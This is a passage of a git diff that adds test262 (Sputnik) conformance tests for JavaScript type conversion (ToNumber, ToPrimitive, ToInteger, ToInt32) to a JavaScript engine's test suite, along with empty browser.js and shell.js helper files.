+}
+
+// CHECK#12
+var myobj2 = {
+ ToNumber : function(){return 12345;},
+ toString : function(){return "67890";},
+ valueOf : function(){return "9876543210";}
+ };
+
+if (Number(myobj2) !== 9876543210){
+ $ERROR("#12: Number(myobj2) calls ToPrimitive with hint Number. Exptected: 9876543210. Actual: " + (Number(myobj2)));
+}
+
+
+// CHECK#13
+var myobj3 = {
+ ToNumber : function(){return 12345;},
+ toString : function(){return "[object MyObj]";}
+ };
+
+if (isNaN(Number(myobj3)) !== true){
+ $ERROR("#13: Number(myobj3) calls ToPrimitive with hint Number. Exptected: Not-a-Number. Actual: " + (Number(myobj3)));
+}
+
+// CHECK#14
+var myobj4 = {
+ ToNumber : function(){return 12345;},
+ toString : function(){return "67890";}
+ };
+
+if (Number(myobj4) !== 67890){
+ $ERROR("#14: Number(myobj4) calls ToPrimitive with hint Number. Exptected: 67890. Actual: " + (Number(myobj4)));
+}
+
+// CHECK#15
+var myobj5 = {
+ ToNumber : function(){return 12345;}
+ };
+
+if (isNaN(Number(myobj5)) !== true){
+ $ERROR("#15: Number(myobj5) calls ToPrimitive with hint Number. Exptected: Not-a-Number. Actual: " + (Number(myobj5)));
+}
+
diff --git a/js/src/tests/test262/ch09/9.3/S9.3_A5_T2.js b/js/src/tests/test262/ch09/9.3/S9.3_A5_T2.js
new file mode 100644
index 000000000..b4ebb5422
--- /dev/null
+++ b/js/src/tests/test262/ch09/9.3/S9.3_A5_T2.js
@@ -0,0 +1,126 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Result of number conversion from object value is the result
+ * of conversion from primitive value
+ *
+ * @path ch09/9.3/S9.3_A5_T2.js
+ * @description new Number(), new Number(0), new Number(Number.NaN), new Number(null),
+ * new Number(void 0) and others convert to Number by implicit transformation
+ */
+
+// CHECK#1
+if (+(new Number()) !== 0) {
+ $ERROR('#1: +(new Number()) === 0. Actual: ' + (+(new Number())));
+}
+
+// CHECK#2
+if (+(new Number(0)) !== 0) {
+ $ERROR('#2: +(new Number(0)) === 0. Actual: ' + (+(new Number(0))));
+}
+
+// CHECK#3
+if (isNaN(+(new Number(Number.NaN)) !== true)) {
+ $ERROR('#3: +(new Number(Number.NaN)) === Not-a-Number. Actual: ' + (+(new Number(Number.NaN))));
+}
+
+// CHECK#4
+if (+(new Number(null)) !== 0) {
+ $ERROR('#4.1: +(new Number(null)) === 0. Actual: ' + (+(new Number(null))));
+} else {
+ if (1/+(new Number(null)) !== Number.POSITIVE_INFINITY) {
+ $ERROR('#4.2: +(new Number(null)) === +0. Actual: -0');
+ }
+}
+
+// CHECK#5
+if (isNaN(+(new Number(void 0)) !== true)) {
+ $ERROR('#5: +(new Number(void 0)) === Not-a-Number. Actual: ' + (+(new Number(void 0))));
+}
+
+// CHECK#6
+if (+(new Number(true)) !== 1) {
+ $ERROR('#6: +(new Number(true)) === 1. Actual: ' + (+(new Number(true))));
+}
+
+// CHECK#7
+if (+(new Number(false)) !== +0) {
+ $ERROR('#7.1: +(new Number(false)) === 0. Actual: ' + (+(new Number(false))));
+} else {
+ if (1/+(new Number(false)) !== Number.POSITIVE_INFINITY) {
+ $ERROR('#7.2: +(new Number(false)) === +0. Actual: -0');
+ }
+}
+
+// CHECK#8
+if (+(new Boolean(true)) !== 1) {
+ $ERROR('#8: +(new Boolean(true)) === 1. Actual: ' + (+(new Boolean(true))));
+}
+
+// CHECK#9
+if (+(new Boolean(false)) !== +0) {
+ $ERROR('#9.1: +(new Boolean(false)) === 0. Actual: ' + (+(new Boolean(false))));
+} else {
+ if (1/+(new Boolean(false)) !== Number.POSITIVE_INFINITY) {
+ $ERROR('#9.2: +(new Boolean(false)) === +0. Actual: -0');
+ }
+}
+
+// CHECK#10
+if (isNaN(+(new Array(2,4,8,16,32))) !== true) {
+ $ERROR('#10: +(new Array(2,4,8,16,32)) === Not-a-Number. Actual: ' + (+(new Array(2,4,8,16,32))));
+}
+
+// CHECK#11
+var myobj1 = {
+ ToNumber : function(){return 12345;},
+ toString : function(){return "67890";},
+ valueOf : function(){return "[object MyObj]";}
+ };
+
+if (isNaN(+(myobj1)) !== true){
+ $ERROR("#11: +(myobj1) calls ToPrimitive with hint +. Exptected: Not-a-Number. Actual: " + (+(myobj1)));
+}
+
+// CHECK#12
+var myobj2 = {
+ ToNumber : function(){return 12345;},
+ toString : function(){return "67890";},
+ valueOf : function(){return "9876543210";}
+ };
+
+if (+(myobj2) !== 9876543210){
+ $ERROR("#12: +(myobj2) calls ToPrimitive with hint +. Exptected: 9876543210. Actual: " + (+(myobj2)));
+}
+
+
+// CHECK#13
+var myobj3 = {
+ ToNumber : function(){return 12345;},
+ toString : function(){return "[object MyObj]";}
+ };
+
+if (isNaN(+(myobj3)) !== true){
+ $ERROR("#13: +(myobj3) calls ToPrimitive with hint +. Exptected: Not-a-Number. Actual: " + (+(myobj3)));
+}
+
+// CHECK#14
+var myobj4 = {
+ ToNumber : function(){return 12345;},
+ toString : function(){return "67890";}
+ };
+
+if (+(myobj4) !== 67890){
+ $ERROR("#14: +(myobj4) calls ToPrimitive with hint +. Exptected: 67890. Actual: " + (+(myobj4)));
+}
+
+// CHECK#15
+var myobj5 = {
+ ToNumber : function(){return 12345;}
+ };
+
+if (isNaN(+(myobj5)) !== true){
+ $ERROR("#15: +(myobj5) calls ToPrimitive with hint +. Exptected: 12345. Actual: " + (+(myobj5)));
+}
+
diff --git a/js/src/tests/test262/ch09/9.3/browser.js b/js/src/tests/test262/ch09/9.3/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch09/9.3/browser.js
diff --git a/js/src/tests/test262/ch09/9.3/shell.js b/js/src/tests/test262/ch09/9.3/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch09/9.3/shell.js
diff --git a/js/src/tests/test262/ch09/9.4/S9.4_A1.js b/js/src/tests/test262/ch09/9.4/S9.4_A1.js
new file mode 100644
index 000000000..6c1b354c4
--- /dev/null
+++ b/js/src/tests/test262/ch09/9.4/S9.4_A1.js
@@ -0,0 +1,20 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If ToNumber(value) is NaN, ToInteger(value) returns +0
+ *
+ * @path ch09/9.4/S9.4_A1.js
+ * @description Check what position is defined by Number.NaN in string "abc": "abc".charAt(Number.NaN)
+ */
+
+// CHECK#1
+if ("abc".charAt(Number.NaN) !== "a") {
+ $ERROR('#1: "abc".charAt(Number.NaN) === "a". Actual: ' + ("abc".charAt(Number.NaN)));
+}
+
+// CHECK#2
+if ("abc".charAt("x") !== "a") {
+ $ERROR('#2: "abc".charAt("x") === "a". Actual: ' + ("abc".charAt("x")));
+}
+
diff --git a/js/src/tests/test262/ch09/9.4/S9.4_A2.js b/js/src/tests/test262/ch09/9.4/S9.4_A2.js
new file mode 100644
index 000000000..6b0ac54ac
--- /dev/null
+++ b/js/src/tests/test262/ch09/9.4/S9.4_A2.js
@@ -0,0 +1,21 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If ToNumber(value) is +0, -0, +Infinity, or -Infinity,
+ * return ToNumber(value)
+ *
+ * @path ch09/9.4/S9.4_A2.js
+ * @description Check what position is defined by Number.NaN in string "abc": "abc".charAt(Number.NaN)
+ */
+
+// CHECK#1
+if ("abc".charAt(0.0) !== "a") {
+ $ERROR('#1: "abc".charAt(0.0) === "a". Actual: ' + ("abc".charAt(0.0)));
+}
+
+// CHECK#2
+if ("abc".charAt(-0.0) !== "a") {
+ $ERROR('#2: "abc".charAt(-0.0) === "a". Actual: ' + ("abc".charAt(-0.0)));
+}
+
diff --git a/js/src/tests/test262/ch09/9.4/S9.4_A3_T1.js b/js/src/tests/test262/ch09/9.4/S9.4_A3_T1.js
new file mode 100644
index 000000000..d16c30b38
--- /dev/null
+++ b/js/src/tests/test262/ch09/9.4/S9.4_A3_T1.js
@@ -0,0 +1,83 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Result of ToInteger(value) conversion is the result of computing
+ * sign(ToNumber(value)) * floor(abs(ToNumber(value)))
+ *
+ * @path ch09/9.4/S9.4_A3_T1.js
+ * @description For testing constructor Date(Number) is used
+ */
+
+// CHECK#1
+var d1 = new Date(6.54321);
+if (d1.valueOf() !== 6) {
+ $ERROR('#1: var d1 = new Date(6.54321); d1.valueOf() === 6;');
+}
+
+// CHECK#2
+var d2 = new Date(-6.54321);
+if (d2.valueOf() !== -6) {
+ $ERROR('#2: var d2 = new Date(-6.54321); d2.valueOf() === -6;');
+}
+
+// CHECK#3
+var d3 = new Date(6.54321e2);
+if (d3.valueOf() !== 654) {
+ $ERROR('#3: var d3 = new Date(6.54321e2); d3.valueOf() === 654;');
+}
+
+// CHECK#4
+var d4 = new Date(-6.54321e2);
+if (d4.valueOf() !== -654) {
+ $ERROR('#4: var d4 = new Date(-6.54321e2); d4.valueOf() === -654;');
+}
+
+// CHECK#5
+var d5 = new Date(0.654321e1);
+if (d5.valueOf() !== 6) {
+ $ERROR('#5: var d5 = new Date(0.654321e1); d5.valueOf() === 6;');
+}
+
+// CHECK#6
+var d6 = new Date(-0.654321e1);
+if (d6.valueOf() !== -6) {
+ $ERROR('#6: var d6 = new Date(-0.654321e1); d6.valueOf() === -6;');
+}
+
+// CHECK#7
+var d7 = new Date(true);
+if (d7.valueOf() !== 1) {
+ $ERROR('#7: var d7 = new Date(true); d7.valueOf() === 1;');
+}
+
+// CHECK#8
+var d8 = new Date(false);
+if (d8.valueOf() !== 0) {
+ $ERROR('#8: var d8 = new Date(false); d8.valueOf() === 0;');
+}
+
+// CHECK#9
+var d9 = new Date(1.23e15);
+if (d9.valueOf() !== 1.23e15) {
+ $ERROR('#9: var d9 = new Date(1.23e15); d9.valueOf() === 1.23e15;');
+}
+
+// CHECK#10
+var d10 = new Date(-1.23e15);
+if (d10.valueOf() !== -1.23e15) {
+ $ERROR('#10: var d10 = new Date(-1.23e15); d10.valueOf() === -1.23e15;');
+}
+
+// CHECK#11
+var d11 = new Date(1.23e-15);
+if (d11.valueOf() !== 0) {
+ $ERROR('#11: var d11 = new Date(1.23e-15); d11.valueOf() === 0;');
+}
+
+// CHECK#12
+var d12 = new Date(-1.23e-15);
+if (d12.valueOf() !== -0) {
+ $ERROR('#12: var d12 = new Date(-1.23e-15); d12.valueOf() === -0;');
+}
+
diff --git a/js/src/tests/test262/ch09/9.4/S9.4_A3_T2.js b/js/src/tests/test262/ch09/9.4/S9.4_A3_T2.js
new file mode 100644
index 000000000..f3a9796e8
--- /dev/null
+++ b/js/src/tests/test262/ch09/9.4/S9.4_A3_T2.js
@@ -0,0 +1,41 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Result of ToInteger(value) conversion is the result of computing
+ * sign(ToNumber(value)) * floor(abs(ToNumber(value)))
+ *
+ * @path ch09/9.4/S9.4_A3_T2.js
+ * @description For testing constructor Date(NaN, Infinity, Infinity, +0 and -0) is used
+ */
+
+// CHECK#1
+var d1 = new Date(Number.NaN);
+if (!isNaN(d1.valueOf())) {
+ $ERROR('#1: var d1 = new Date(Number.NaN); d1.valueOf() === Number.NaN;');
+}
+
+// CHECK#2
+var d2 = new Date(Infinity);
+if (!isNaN(d2.valueOf())) {
+ $ERROR('#2: var d2 = new Date(Infinity); d2.valueOf() === Number.NaN;');
+}
+
+// CHECK#3
+var d3 = new Date(-Infinity);
+if (!isNaN(d3.valueOf())) {
+ $ERROR('#3: var d3 = new Date(-Infinity); d3.valueOf() === Number.NaN;');
+}
+
+// CHECK#4
+var d4 = new Date(0);
+if (d4.valueOf() !== 0) {
+ $ERROR('#4: var d4 = new Date(0); d4.valueOf() === 0;');
+}
+
+// CHECK#5
+var d5 = new Date(-0);
+if (d5.valueOf() !== -0) {
+ $ERROR('#5: var d5 = new Date(-0); d5.valueOf() === -0;');
+}
+
diff --git a/js/src/tests/test262/ch09/9.4/browser.js b/js/src/tests/test262/ch09/9.4/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch09/9.4/browser.js
diff --git a/js/src/tests/test262/ch09/9.4/shell.js b/js/src/tests/test262/ch09/9.4/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch09/9.4/shell.js
diff --git a/js/src/tests/test262/ch09/9.5/S9.5_A1_T1.js b/js/src/tests/test262/ch09/9.5/S9.5_A1_T1.js
new file mode 100644
index 000000000..76296a3a9
--- /dev/null
+++ b/js/src/tests/test262/ch09/9.5/S9.5_A1_T1.js
@@ -0,0 +1,52 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If value is NaN, +0, -0, +Infinity, or -Infinity, return +0
+ *
+ * @path ch09/9.5/S9.5_A1_T1.js
+ * @description For testing use operator <<0
+ */
+
+// CHECK#1
+if ((Number.NaN << 0) !== +0) {
+ $ERROR('#1.1: (Number.NaN << 0) === 0. Actual: ' + ((Number.NaN << 0)));
+} else if (1/(Number.NaN << 0) !== Number.POSITIVE_INFINITY) {
+ $ERROR('#1.2: (Number.NaN << 0) === +0. Actual: -0');
+}
+
+// CHECK#2
+if ((Number("abc") << 0) !== +0) {
+ $ERROR('#2.1: (Number("abc") << 0) === 0. Actual: ' + ((Number("abc") << 0)));
+} else if (1/(0 << 0) !== Number.POSITIVE_INFINITY) {
+ $ERROR('#2.2: (0 << 0) === +0. Actual: -0');
+}
+
+// CHECK#3
+if ((0 << 0) !== +0) {
+ $ERROR('#3.1: (0 << 0) === 0. Actual: ' + ((0 << 0)));
+} else if (1/(0 << 0) !== Number.POSITIVE_INFINITY) {
+ $ERROR('#3.2: (0 << 0) === +0. Actual: -0');
+}
+
+// CHECK#4
+if ((-0 << 0) !== +0) {
+ $ERROR("#4.1: (-0 << 0) === 0");
+} else if (1/(-0 << 0) !== Number.POSITIVE_INFINITY) {
+ $ERROR("#4.2: (-0 << 0) === +0. Actual: -0");
+}
+
+// CHECK#5
+if ((Number.POSITIVE_INFINITY << 0) !== +0) {
+ $ERROR('#5.1: (Number.POSITIVE_INFINITY << 0) === 0. Actual: ' + ((Number.POSITIVE_INFINITY << 0)));
+} else if (1/(Number.POSITIVE_INFINITY << 0) !== Number.POSITIVE_INFINITY) {
+ $ERROR('#5.2: (Number.POSITIVE_INFINITY << 0) === +0. Actual: -0');
+}
+
+// CHECK#6
+if ((Number.NEGATIVE_INFINITY << 0) !== +0) {
+ $ERROR("#6.1: (Number.NEGATIVE_INFINITY << 0) === 0");
+} else if (1/(Number.NEGATIVE_INFINITY << 0) !== Number.POSITIVE_INFINITY) {
+ $ERROR("#6.2: (Number.NEGATIVE_INFINITY << 0) === +0. Actual: -0");
+}
+
diff --git a/js/src/tests/test262/ch09/9.5/S9.5_A2.1_T1.js b/js/src/tests/test262/ch09/9.5/S9.5_A2.1_T1.js
new file mode 100644
index 000000000..943425e85
--- /dev/null
+++ b/js/src/tests/test262/ch09/9.5/S9.5_A2.1_T1.js
@@ -0,0 +1,50 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * ToInt32 returns values between -2^31 and 2^31-1
+ *
+ * @path ch09/9.5/S9.5_A2.1_T1.js
+ * @description Converting some numbers, which are in\outside of Int32 scopes, with <<0 operator
+ */
+
+// CHECK#1
+if ((-2147483647 << 0) !== -2147483647) {
+ $ERROR('#1: (-2147483647 << 0) === -2147483647. Actual: ' + ((-2147483647 << 0)));
+}
+
+// CHECK#2
+if ((-2147483648 << 0) !== -2147483648) {
+ $ERROR('#2: (-2147483648 << 0) === -2147483648. Actual: ' + ((-2147483648 << 0)));
+}
+
+// CHECK#3
+if ((-2147483649 << 0) !== 2147483647) {
+ $ERROR('#3: (-2147483649 << 0) === 2147483647. Actual: ' + ((-2147483649 << 0)));
+}
+
+// CHECK#4
+if ((-4294967296 << 0) !== 0) {
+ $ERROR('#4: (-4294967296 << 0) === 0. Actual: ' + ((-4294967296 << 0)));
+}
+
+// CHECK#5
+if ((2147483646 << 0) !== 2147483646) {
+ $ERROR('#5: (2147483646 << 0) === 2147483646. Actual: ' + ((2147483646 << 0)));
+}
+
+// CHECK#6
+if ((2147483647 << 0) !== 2147483647) {
+ $ERROR('#6: (2147483647 << 0) === 2147483647. Actual: ' + ((2147483647 << 0)));
+}
+
+// CHECK#7
+if ((2147483648 << 0) !== -2147483648) {
+ $ERROR('#7: (2147483648 << 0) === -2147483648. Actual: ' + ((2147483648 << 0)));
+}
+
+// CHECK#8
+if ((4294967296 << 0) !== 0) {
+ $ERROR('#8: (4294967296 << 0) === 0. Actual: ' + ((4294967296 << 0)));
+}
+
diff --git a/js/src/tests/test262/ch09/9.5/S9.5_A2.1_T2.js b/js/src/tests/test262/ch09/9.5/S9.5_A2.1_T2.js
new file mode 100644
index 000000000..9037035c8
--- /dev/null
+++ b/js/src/tests/test262/ch09/9.5/S9.5_A2.1_T2.js
@@ -0,0 +1,30 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * ToInt32 returns values between -2^31 and 2^31-1
+ *
+ * @path ch09/9.5/S9.5_A2.1_T2.js
+ * @description Converting some numbers, which are in\outside of Int32 scopes, with ~ operator
+ */
+
+// CHECK#1
+if (~-2147483649 !== ~2147483647) {
+ $ERROR('#1: ~-2147483649 === ~2147483647');
+}
+
+// CHECK#2
+if (~-4294967296 !== ~0) {
+ $ERROR('#2: ~-4294967296 === ~0');
+}
+
+// CHECK#3
+if (~2147483648 !== ~-2147483648) {
+ $ERROR('#3: ~2147483648 === ~-2147483648');
+}
+
+// CHECK#4
+if (~4294967296 !== ~0) {
+ $ERROR('#4: ~4294967296 === ~0');
+}
+
diff --git a/js/src/tests/test262/ch09/9.5/S9.5_A2.2_T1.js b/js/src/tests/test262/ch09/9.5/S9.5_A2.2_T1.js
new file mode 100644
index 000000000..e8c454498
--- /dev/null
+++ b/js/src/tests/test262/ch09/9.5/S9.5_A2.2_T1.js
@@ -0,0 +1,70 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Compute result modulo 2^32
+ *
+ * @path ch09/9.5/S9.5_A2.2_T1.js
+ * @description Use operator <<0
+ */
+
+// CHECK#1
+if ((-2147483647 << 0) !== -2147483647) {
+ $ERROR('#1: (-2147483647 << 0) === -2147483647. Actual: ' + ((-2147483647 << 0)));
+}
+
+// CHECK#2
+if ((-2147483648 << 0) !== -2147483648) {
+ $ERROR('#2: (-2147483648 << 0) === -2147483648. Actual: ' + ((-2147483648 << 0)));
+}
+
+// CHECK#3
+if ((-2147483649 << 0) !== 2147483647) {
+ $ERROR('#3: (-2147483649 << 0) === 2147483647. Actual: ' + ((-2147483649 << 0)));
+}
+
+// CHECK#4
+if ((4294967295 << 0) !== -1) {
+ $ERROR('#4: (4294967295 << 0) === -1. Actual: ' + ((4294967295 << 0)));
+}
+
+// CHECK#5
+if ((4294967296 << 0) !== 0) {
+ $ERROR('#5: (4294967296 << 0) === 0. Actual: ' + ((4294967296 << 0)));
+}
+
+// CHECK#6
+if ((4294967297 << 0) !== 1) {
+ $ERROR('#6: (4294967297 << 0) === 1. Actual: ' + ((4294967297 << 0)));
+}
+
+// CHECK#7
+if ((-4294967295 << 0) !== 1) {
+ $ERROR('#7: (-4294967295 << 0) === 1. Actual: ' + ((-4294967295 << 0)));
+}
+
+// CHECK#8
+if ((-4294967296 << 0) !== 0) {
+ $ERROR('#8: (-4294967296 << 0) === 0. Actual: ' + ((-4294967296 << 0)));
+}
+
+// CHECK#9
+if ((-4294967297 << 0) !== -1) {
+ $ERROR('#9: (-4294967297 << 0) === -1. Actual: ' + ((-4294967297 << 0)));
+}
+
+// CHECK#10
+if ((8589934591 << 0) !== -1) {
+ $ERROR('#10: (8589934591 << 0) === -1. Actual: ' + ((8589934591 << 0)));
+}
+
+// CHECK#11
+if ((8589934592 << 0) !== 0) {
+ $ERROR('#11: (8589934592 << 0) === 0. Actual: ' + ((8589934592 << 0)));
+}
+
+// CHECK#12
+if ((8589934593 << 0) !== 1) {
+ $ERROR('#12: (8589934593 << 0) === 1. Actual: ' + ((8589934593 << 0)));
+}
+
diff --git a/js/src/tests/test262/ch09/9.5/S9.5_A2.2_T2.js b/js/src/tests/test262/ch09/9.5/S9.5_A2.2_T2.js
new file mode 100644
index 000000000..a138d03d7
--- /dev/null
+++ b/js/src/tests/test262/ch09/9.5/S9.5_A2.2_T2.js
@@ -0,0 +1,70 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Compute result modulo 2^32
+ *
+ * @path ch09/9.5/S9.5_A2.2_T2.js
+ * @description Use operator ~
+ */
+
+// CHECK#1
+if (~-2147483647 !== 2147483646) {
+ $ERROR('#1: ~-2147483647 === 2147483646)');
+}
+
+// CHECK#2
+if (~-2147483648 !== ~-2147483648) {
+ $ERROR('#2: ~-2147483648 ==== ~-2147483648)');
+}
+
+// CHECK#3
+if (~-2147483649 !== ~2147483647) {
+ $ERROR('#3: ~-2147483649 ==== ~2147483647)');
+}
+
+// CHECK#4
+if ((~4294967295 << 0) !== ~-1) {
+ $ERROR('#4: (~4294967295 << 0) === ~-1)');
+}
+
+// CHECK#5
+if ((~4294967296 << 0) !== ~0) {
+ $ERROR('#5: (~4294967296 << 0) === ~0)');
+}
+
+// CHECK#6
+if ((~4294967297 << 0) !== ~1) {
+ $ERROR('#6: (~4294967297 << 0) === ~1)');
+}
+
+// CHECK#7
+if ((~-4294967295 << 0) !== ~1) {
+ $ERROR('#7: (~-4294967295 << 0) === ~1)');
+}
+
+// CHECK#8
+if ((~-4294967296 << 0) !== ~0) {
+ $ERROR('#8: (~-4294967296 << 0) === ~0)');
+}
+
+// CHECK#9
+if ((~-4294967297 << 0) !== ~-1) {
+ $ERROR('#9: (~-4294967297 << 0) === ~-1)');
+}
+
+// CHECK#10
+if ((~8589934591 << 0) !== ~-1) {
+ $ERROR('#10: (~8589934591 << 0) === ~-1)');
+}
+
+// CHECK#11
+if ((~8589934592 << 0) !== ~0) {
+ $ERROR('#11: (~8589934592 << 0) === ~0)');
+}
+
+// CHECK#12
+if ((~8589934593 << 0) !== ~1) {
+ $ERROR('#12: (~8589934593 << 0) === ~1)');
+}
+
diff --git a/js/src/tests/test262/ch09/9.5/S9.5_A2.3_T1.js b/js/src/tests/test262/ch09/9.5/S9.5_A2.3_T1.js
new file mode 100644
index 000000000..af0e3702e
--- /dev/null
+++ b/js/src/tests/test262/ch09/9.5/S9.5_A2.3_T1.js
@@ -0,0 +1,42 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If result is greater than or equal to 2^31, return result -2^32
+ *
+ * @path ch09/9.5/S9.5_A2.3_T1.js
+ * @description Use operator <<0
+ */
+
+// CHECK#1
+if ((2147483647 << 0) !== 2147483647) {
+ $ERROR('#1: (2147483647 << 0) === 2147483647. Actual: ' + ((2147483647 << 0)));
+}
+
+// CHECK#2
+if ((2147483648 << 0) !== -2147483648) {
+ $ERROR('#2: (2147483648 << 0) === -2147483648. Actual: ' + ((2147483648 << 0)));
+}
+
+// CHECK#3
+if ((2147483649 << 0) !== -2147483647) {
+ $ERROR('#3: (2147483649 << 0) === -2147483647. Actual: ' + ((2147483649 << 0)));
+}
+
+// CHECK#4
+if ((4294967295 << 0) !== -1) {
+ $ERROR('#4: (4294967295 << 0) === -1. Actual: ' + ((4294967295 << 0)));
+}
+
+// CHECK#5
+if ((4294967296 << 0) !== 0) {
+ $ERROR('#5: (4294967296 << 0) === 0. Actual: ' + ((4294967296 << 0)));
+}
+
+// CHECK#6
+if ((4294967297 << 0) !== 1) {
+ $ERROR('#6: (4294967297 << 0) === 1. Actual: ' + ((4294967297 << 0)));
+}
+
+
+
diff --git a/js/src/tests/test262/ch09/9.5/S9.5_A2.3_T2.js b/js/src/tests/test262/ch09/9.5/S9.5_A2.3_T2.js
new file mode 100644
index 000000000..70c23270b
--- /dev/null
+++ b/js/src/tests/test262/ch09/9.5/S9.5_A2.3_T2.js
@@ -0,0 +1,40 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If result is greater than or equal to 2^31, return result -2^32
+ *
+ * @path ch09/9.5/S9.5_A2.3_T2.js
+ * @description Use operator ~
+ */
+
+// CHECK#1
+if (~2147483647 !== -2147483648) {
+ $ERROR('#1: ~2147483647 ==== -2147483648)');
+}
+
+// CHECK#2
+if (~2147483648 !== ~-2147483648) {
+ $ERROR('#2: ~2147483648 ==== ~-2147483648)');
+}
+
+// CHECK#3
+if (~2147483649 !== ~-2147483647) {
+ $ERROR('#3: ~2147483649 ==== ~-2147483647)');
+}
+
+// CHECK#4
+if (~4294967295 !== ~-1) {
+ $ERROR('#4: ~4294967295 ==== ~-1)');
+}
+
+// CHECK#5
+if (~4294967296 !== ~0) {
+ $ERROR('#5: ~4294967296 ==== ~0)');
+}
+
+// CHECK#6
+if (~4294967297 !== ~1) {
+ $ERROR('#6: ~4294967297 ==== ~1)');
+}
+
diff --git a/js/src/tests/test262/ch09/9.5/S9.5_A3.1_T1.js b/js/src/tests/test262/ch09/9.5/S9.5_A3.1_T1.js
new file mode 100644
index 000000000..ea9cc2048
--- /dev/null
+++ b/js/src/tests/test262/ch09/9.5/S9.5_A3.1_T1.js
@@ -0,0 +1,20 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator uses ToNumber
+ *
+ * @path ch09/9.5/S9.5_A3.1_T1.js
+ * @description Type(x) is Boolean
+ */
+
+// CHECK#1
+if ((new Boolean(true) << 0) !== 1) {
+ $ERROR('#1: (new Boolean(true) << 0) === 1. Actual: ' + ((new Boolean(true) << 0)));
+}
+
+// CHECK#2
+if ((false << 0) !== 0) {
+ $ERROR('#2: (false << 0) === 0. Actual: ' + ((false << 0)));
+}
+
diff --git a/js/src/tests/test262/ch09/9.5/S9.5_A3.1_T2.js b/js/src/tests/test262/ch09/9.5/S9.5_A3.1_T2.js
new file mode 100644
index 000000000..0a8769ba8
--- /dev/null
+++ b/js/src/tests/test262/ch09/9.5/S9.5_A3.1_T2.js
@@ -0,0 +1,20 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator uses ToNumber
+ *
+ * @path ch09/9.5/S9.5_A3.1_T2.js
+ * @description Type(x) is Number
+ */
+
+// CHECK#1
+if ((new Number(1) << 0) !== 1) {
+ $ERROR('#1: (new Number(1) << 0) === 1. Actual: ' + ((new Number(1) << 0)));
+}
+
+// CHECK#2
+if ((-1.234 << 0) !== -1) {
+ $ERROR('#2: (-1.234 << 0) === -1. Actual: ' + ((-1.234 << 0)));
+}
+
diff --git a/js/src/tests/test262/ch09/9.5/S9.5_A3.1_T3.js b/js/src/tests/test262/ch09/9.5/S9.5_A3.1_T3.js
new file mode 100644
index 000000000..5886b0daf
--- /dev/null
+++ b/js/src/tests/test262/ch09/9.5/S9.5_A3.1_T3.js
@@ -0,0 +1,20 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator uses ToNumber
+ *
+ * @path ch09/9.5/S9.5_A3.1_T3.js
+ * @description Type(x) is String
+ */
+
+// CHECK#1
+if ((new String(1) << 0) !== 1) {
+ $ERROR('#1: (new String(1) << 0) === 1. Actual: ' + ((new String(1) << 0)));
+}
+
+// CHECK#2
+if (("-1.234" << 0) !== -1) {
+ $ERROR('#2: ("-1.234" << 0) === -1. Actual: ' + (("-1.234" << 0)));
+}
+
diff --git a/js/src/tests/test262/ch09/9.5/S9.5_A3.1_T4.js b/js/src/tests/test262/ch09/9.5/S9.5_A3.1_T4.js
new file mode 100644
index 000000000..a4a701fc5
--- /dev/null
+++ b/js/src/tests/test262/ch09/9.5/S9.5_A3.1_T4.js
@@ -0,0 +1,79 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator uses ToNumber
+ *
+ * @path ch09/9.5/S9.5_A3.1_T4.js
+ * @description Type(x) is Object
+ */
+
+//CHECK#1
+var object = {valueOf: function() {return 1}};
+if (~object !== ~1) {
+ $ERROR('#1: var object = {valueOf: function() {return 1}}; ~object === ~1');
+}
+
+//CHECK#2
+var object = {valueOf: function() {return 1}, toString: function() {return 0}};
+if (~object !== ~1) {
+ $ERROR('#2: var object = {valueOf: function() {return 1}, toString: function() {return 0}}; ~object === ~1');
+}
+
+//CHECK#3
+var object = {valueOf: function() {return 1}, toString: function() {return {}}};
+if (~object !== ~1) {
+ $ERROR('#3: var object = {valueOf: function() {return 1}, toString: function() {return {}}}; ~object === ~1');
+}
+
+//CHECK#4
+try {
+ var object = {valueOf: function() {return 1}, toString: function() {throw "error"}};
+ if (~object !== ~1) {
+ $ERROR('#4.1: var object = {valueOf: function() {return 1}, toString: function() {throw "error"}}; ~object === ~1');
+ }
+}
+catch (e) {
+ if (e === ~"error") {
+ $ERROR('#4.2: var object = {valueOf: function() {return 1}, toString: function() {throw "error"}}; ~object not throw "error"');
